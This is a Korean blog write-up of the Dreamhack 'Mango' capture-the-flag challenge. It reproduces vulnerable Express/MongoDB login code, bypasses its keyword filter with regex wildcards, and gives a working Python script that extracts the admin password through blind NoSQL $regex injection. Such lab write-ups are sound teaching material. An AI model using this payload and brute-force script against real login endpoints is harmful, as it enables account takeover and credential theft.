Mango
Description 이 문제는 데이터베이스에 저장된 플래그를 획득하는 문제입니다. 플래그는 admin 계정의 비밀번호 입니다. 플래그의 형식은 DH{...} 입니다. {'uid': 'admin', 'upw': 'DH{32alphanumeric}'} Reference Serv
dreamhack.io
code
const express = require('express');
const app = express();
const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
app.get('/', function(req, res) {
res.send('/login?uid=guest&upw=guest');
});
app.listen(8000, '0.0.0.0');
코드 해석
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
/login 페이지이다.
- /login 페이지 요청 시 실행되는 코드이다.
- 이용자가 쿼리로 전달한 uid와 upw로 데이터베이스를 검색한다.
- filter에 걸리면 filter를 출력한다.
쿼리 변수 타입 검사를 진행하지 않기에 NoSQL Injection이 발생할 수 있다.
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
filter 함수이다.
- 일부 문자열의 필터링 함수이다.
- /login의 GET 핸들러이다.
-> 이용자의 요청에 포함된 쿼리 filter 함수로 필터링 한다.
-> admin, dh, admi 문자열이 있을 때 true를 반환한다.
익스플로잇

메인 페이지이다.

URL에 guest를 붙여넣으면 guest로 로그인이 됐음을 알려준다.

URL에 admin을 붙여넣는다.
- filter 문구를 출력한다.
-> admin 계정은 필터링이 된다.
admin, db, admi는 필터링 된다.
- 비밀번호 길이 = DH{32알파벳, 숫자} -> DH{ } 까지 합쳐서 총 36글자이다.
- 파이썬 코드를 작성한다.
DH가 필터링에 걸려있기 때문에 비밀번호 시작은 D. 로 시작하면 우회가 가능하다. - admin에 필터링이 걸려있기 때문에 filter 우회 코드를 작성한다.
http://host1.dreamhack.games:21271/login?uid[$regex]=ad.in&upw[$regex]=D.{*
filter 우회 코드이다.
- filter 함수로 인해 uid와 [$regex]= 값에 제한을 두어 임의 문자를 뜻하는 . 을 통해 쉽게 우회 가능하다.
import requests
import string
url = 'http://host3.dreamhack.games:21271/login'
flag_set = string.digits + string.ascii_letters + '}'
flag = ''
while True:
for ch in flag_set:
response = requests.get(url + "?uid[$regex]=ad.in&upw[$regex]=D.{" + flag + ch)
if response.text == 'admin':
flag += ch
break
print(flag)
if '}' in flag:
break
print('DH{' + flag)
익스플로잇 코드이다.
- requests 모듈로 원격 URL과 접속한다.
- string 모듈로 digits, ascii_letters를 받아서 flag_set 에 전송한다
- 이후 하나씩 대조하여 admin 결과가 출력되면 flag셋에 넣고 최종적으로 }가 출력되면 break, flag를 도출한다.
결과

flag 값 도출을 성공할 수 있다.
'Webhacking > Dreamhack' 카테고리의 다른 글
| [Dreamhack] image-storage (0) | 2025.03.16 |
|---|---|
| [Dreamhack] command-injection-1 (0) | 2025.03.16 |
| [Dreamhack] simple_sqli (0) | 2025.03.15 |
| [Dreamhack] csrf-2 (0) | 2025.03.15 |
| [Dreamhack] csrf-1 (0) | 2025.03.15 |